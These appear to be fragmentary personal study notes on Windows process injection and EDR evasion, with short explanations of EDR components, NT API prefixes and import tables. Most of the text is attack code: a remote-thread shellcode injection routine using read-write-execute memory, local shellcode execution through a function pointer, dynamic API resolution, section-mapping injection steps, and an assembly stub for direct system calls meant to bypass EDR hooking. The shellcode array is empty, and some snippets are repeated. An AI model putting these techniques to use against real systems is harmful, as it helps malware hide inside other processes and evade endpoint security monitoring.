Windows
Injection and Hijacking
EDR
Sensor - > Userland ( collects telemetry and monitors behavior)
Driver -> Kernel ( monitor low-level operations)
Backend -> Online Infra (Where all received telementry is sent to for processing, logging and analysis)
Terms
API calls -> High level function calls provided by window libraries System call -> low-level interface between userland and kernel land
Kernel Prefix
Nt -> native api -> wrapper for userland syscall for userland system services Zw -> Kernel-mode Native API -> used also in kernel mode, may skip user-mode access checks Ex -> Executive layer -> Core helper functions cm -> configuration manager -> registry interaction
IAT
Import address table, stores address of functions imported from external DLL
EAT
export address table, expose functions or symbols for external use
Win APi Functions
OpenProcess ()
VirtualAllocEx ()
WriteProcessMemory()
CreateRemoteThread()
Inject thread
#include <windows.h>
#include <processthreadsapi.h>
int main() {
HANDLE hProcess, hThread;
LPVOID start_ptr;
DWORD tid;
size_t written;
char shellcode[] = {
};
start_ptr = (LPVOID) 0x13370000;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2676);
start_ptr = VirtualAllocEx(hProcess, start_ptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, start_ptr, shellcode, 256, &written);
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)start_ptr, NULL, 0, &tid);
}
without virtualalloc
find writeable memory, put loadlibrary , pass dll as argument and call CreateRemoteThread
typedef HANDLE (WINAPI *CREATEFILE2)(LPCWSTR, DWORD, DWORD, DWORD, LPCREATEFILE2_EXTENDED_PARAMETERS);
GetProcAddress(GetModuleHandleA("kernelbase"), "CreateFile2");
execMem = VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, code, sizeof(code));
f = (Func)execMem;
f(&hPipe);
without virtualalloc
find writeable memory, put loadlibrary , pass dll as argument and call CreateRemoteThread
typedef HANDLE (WINAPI *CREATEFILE2)(LPCWSTR, DWORD, DWORD, DWORD, LPCREATEFILE2_EXTENDED_PARAMETERS);
GetProcAddress(GetModuleHandleA("kernelbase"), "CreateFile2");
typedef NTSTATUS (NTAPI *NtCreateFile_t)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK,
PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG
);
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");
avoiding virtual alloc
Instead of allocating memory directly in a remote process using VirtualAllocEx, you:
- Create a memory section (like a shared memory region).
- Map that section into both your process and the target process.
- Write your payload into your local mapping.
- The payload now exists in the remote process too — because both share the same memory section.
This approach uses native NT APIs:
NtCreateSection
NtMapViewOfSection
Bypassing EDR API Hooking
inject inline asm with naked function
Note: When preparing for system call, windows move rcx (first arg) into r10 as rcx will be use to store the return address and r10 now represent the first argument . rax still stores the system call number
setting up syscall
move syscall number into rax, mov rcx into r10, putting first argument now into r10 for kernel use userland uses rcx
; syscall.asm
.code
public MyNakedFunction
MyNakedFunction proc
mov r10, rcx ; Windows x64 ABI requires syscall target in R10
mov eax, 0c4h ;
ret
MyNakedFunction endp
end
assemble
ml64 /c /Fo syscall.obj syscall.asm
then in your cpp
extern "C" int MyNakedFunction(HANDLE *);
compile with
cl /O2 windows.cpp syscall.obj